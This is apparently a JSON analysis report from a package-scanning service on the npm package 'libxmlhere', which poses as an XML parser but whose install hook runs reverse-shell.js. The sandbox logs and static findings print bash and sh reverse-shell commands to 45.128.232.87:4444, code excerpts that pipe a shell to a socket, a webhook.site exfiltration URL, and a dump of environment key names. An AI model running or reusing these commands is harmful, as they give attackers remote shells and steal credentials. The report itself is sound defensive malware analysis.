{"package":"libxmlhere","version":"0.30.3","known":true,"status":"error","discovered_at":1790299686816,"has_install_script":true,"report_url":"https://andymal.com/packages/libxmlhere/0.30.3","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790372673412,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":91607,"lab_ip":"10.77.0.151","hooks":[{"name":"install","command":"node reverse-shell.js","exit":null,"timed_out":true,"seconds":90,"stdout_tail":"\n    \"HOME\",\n    \"OLDPWD\",\n    \"npm_package_json\",\n    \"OPENAI_API_KEY\",\n    \"DEEPSEEK_API_KEY\",\n    \"npm_config_userconfig\",\n    \"npm_config_local_prefix\",\n    \"COLOR\",\n    \"npm_config_progress\",\n    \"NPM_TOKEN\",\n    \"npm_config_audit\",\n    \"_\",\n    \"npm_config_prefix\",\n    \"npm_config_npm_version\",\n    \"npm_config_cache\",\n    \"ANDY_STEP_TIMEOUT\",\n    \"npm_config_node_gyp\",\n    \"PATH\",\n    \"ANTHROPIC_API_KEY\",\n    \"NODE\",\n    \"npm_package_name\",\n    \"npm_config_loglevel\",\n    \"npm_config_fund\",\n    \"npm_lifecycle_script\",\n    \"npm_package_version\",\n    \"npm_lifecycle_event\",\n    \"AWS_ACCESS_KEY_ID\",\n    \"npm_config_update_notifier\",\n    \"SLACK_TOKEN\",\n    \"AWS_SECRET_ACCESS_KEY\",\n    \"npm_config_globalconfig\",\n    \"npm_config_init_module\",\n    \"PWD\",\n    \"npm_execpath\",\n    \"npm_config_global_prefix\",\n    \"npm_command\",\n    \"INIT_CWD\",\n    \"EDITOR\"\n  ]\n}\n[+] Exploring /usr/src/app/...\n[+] Quick flag search...\n[+] Flag not found in quick search\n[+] Attempting reverse shell...\n[-] Reverse shell failed: connect ENETUNREACH 45.128.232.87:4444 - Local (0.0.0.0:0)\n[+] Reverse shell connection closed\n[+] Trying simple reverse shell...\n[-] Simple reverse shell error: Command failed: bash -c 'bash -i >& /dev/tcp/45.128.232.87/4444 0>&1'\nbash: connect: Network is unreachable\nbash: line 1: /dev/tcp/45.128.232.87/4444: Network is unreachable\n\n[+] Starting background search...\n[+] Search output: cat /proc/self/environ 2>/dev/null | tr \"\\0\" \"\\n\"...\n[+] Keep-alive ping\n[+] Keep-alive ping\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":24,"processes":["npm run-script install --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script install --if-present --ignore-scripts=false","sh -c node reverse-shell.js","node reverse-shell.js","/bin/sh -c which bash","which bash","/bin/sh -c which sh","which sh","/bin/sh -c which nc","which nc","/bin/sh -c bash -c 'bash -i >& /dev/tcp/45.128.232.87/4444 0>&1'","bash -c bash -i >& /dev/tcp/45.128.232.87/4444 0>&1","/bin/sh -c sh -c 'sh -i >& /dev/tcp/45.128.232.87/4444 0>&1'","sh -c sh -i >& /dev/tcp/45.128.232.87/4444 0>&1","/bin/sh -c find /usr/src/app -type f -exec grep -l \"{\" {} \\\\; 2>/dev/null","find /usr/src/app -type f -exec grep -l { {} ;","/bin/sh -c grep -r \"{\" /usr/src/app 2>/dev/null | head -20","grep -r { /usr/src/app","head -20","/bin/sh -c cat /proc/self/environ 2>/dev/null | tr \"\\\\0\" \"\\\n\"","cat /proc/self/environ","tr \\\\0 \\\n","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":2},{"proto":"socket","ip":"45.128.232.87","port":4444,"n":2},{"proto":"socket","ip":"10.77.0.2","port":443,"n":2,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"webhook.site","n":2}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"libxmlhere","version":"0.30.3","description":"XML parser library","scripts":{"install":"node reverse-shell.js"},"install_hooks":{"install":"node reverse-shell.js"},"bin":{},"main":"index.js","dependencies":[],"author":"CTF Player","license":"MIT","hasInstallScript":true},"files":[{"path":"reverse-shell.js","size":9512,"kind":"text","score":1,"hits":["credential_harvest","network_egress","code_execution","reverse_shell","reconnaissance"],"role":"entry"},{"path":"package.json","size":259,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"index.js","size":1302,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":3,"unpacked_size":11073,"findings":[{"title":"Install hook","detail":"install: node reverse-shell.js","severity":"low","location":"package.json"},{"title":"Install hook runs a script","detail":"arser library\", \"main\": \"index.js\", \"scripts\": { \"install\": \"node reverse-shell.js\" }, \"keywords\": [\"xml\", \"parser\"], \"author\": \"CTF P","severity":"medium","location":"package.json:7"},{"title":"Dumps the whole environment (API keys live there)","detail":"files: fs.readdirSync('.'), env: Object.keys(process.env) }; console.log('[+] System inf","severity":"high","location":"reverse-shell.js:192"},{"title":"Network activity","detail":"232.87'; const RPORT = 4444; const WEBHOOK_URL = 'https://webhook.site/4d92bf88-1a1b-4695-9b17-f2e3ab7280ef/'; // 1. Исследован","severity":"medium","location":"reverse-shell.js:11"},{"title":"Network activity","detail":"source=${encodeURIComponent(source)}`; const req = https.request(url, { method: 'POST', headers: {","severity":"medium","location":"reverse-shell.js:162"},{"title":"Executes commands or dynamic code","detail":"); const net = require('net'); const { spawn } = require('child_process'); const https = require('https'); console.log('[ENHANC","severity":"medium","location":"reverse-shell.js:3"},{"title":"Executes commands or dynamic code","detail":"// Создаем интерактивную оболочку const shell = spawn('/bin/sh', [], { stdio: ['pipe', 'pipe', 'pipe'","severity":"medium","location":"reverse-shell.js:87"},{"title":"Executes commands or dynamic code","detail":"м exec для создания оболочки const { exec } = require('child_process'); const cmd = `bash -c 'bash -i >& /dev/tcp/${R","severity":"medium","location":"reverse-shell.js:144"},{"title":"Executes commands or dynamic code","detail":"Проверяем наличие netcat или других утилит const { execSync } = require('child_process'); try { c","severity":"medium","location":"reverse-shell.js:199"},{"title":"Reverse shell","detail":"// Перенаправляем потоки client.pipe(shell.stdin); shell.stdout.pipe(client); shell.stderr","severity":"critical","location":"reverse-shell.js:92"},{"title":"Reverse shell","detail":"require('child_process'); const cmd = `bash -c 'bash -i >& /dev/tcp/${RHOST}/${RPORT} 0>&1'`; exec(cmd, (er","severity":"critical","location":"reverse-shell.js:146"},{"title":"Reverse shell","detail":"hild_process'); const cmd = `bash -c 'bash -i >& /dev/tcp/${RHOST}/${RPORT} 0>&1'`; exec(cmd, (error, stdou","severity":"critical","location":"reverse-shell.js:146"},{"title":"Reverse shell","detail":"нативную команду const cmd2 = `sh -c 'sh -i >& /dev/tcp/${RHOST}/${RPORT} 0>&1'`; exec(cmd2);","severity":"critical","location":"reverse-shell.js:152"},{"title":"System reconnaissance","detail":"'echo \"=== SYSTEM INFO ===\"', 'whoami', 'hostname', 'pwd',","severity":"low","location":"reverse-shell.js:100"},{"title":"System reconnaissance","detail":") {} } // 6. Сбор системной информации function collectSystemInfo() { console.log('[+] Collecting system information...'","severity":"low","location":"reverse-shell.js:181"},{"title":"System reconnaissance","detail":".log('[+] Starting enhanced exploit...'); collectSystemInfo(); exploreAppDirectory(); const flag","severity":"low","location":"reverse-shell.js:216"}],"injection_findings":[],"hits":{"install_hook_shell":1,"credential_harvest":1,"network_egress":2,"code_execution":5,"reverse_shell":4,"reconnaissance":3},"iocs":{"urls":["https://webhook.site/4d92bf88-1a1b-4695-9b17-f2e3ab7280ef/"],"domains":["webhook.site"],"ips":["45.128.232.87"]},"score":1,"priority":155,"hints":["install hook install: node reverse-shell.js","untrusted hosts referenced: webhook.site","raw IPs referenced: 45.128.232.87","capability hits: code_execution×5, reverse_shell×4, reconnaissance×3, network_egress×2, install_hook_shell×1, credential_harvest×1"],"entry_files":["reverse-shell.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}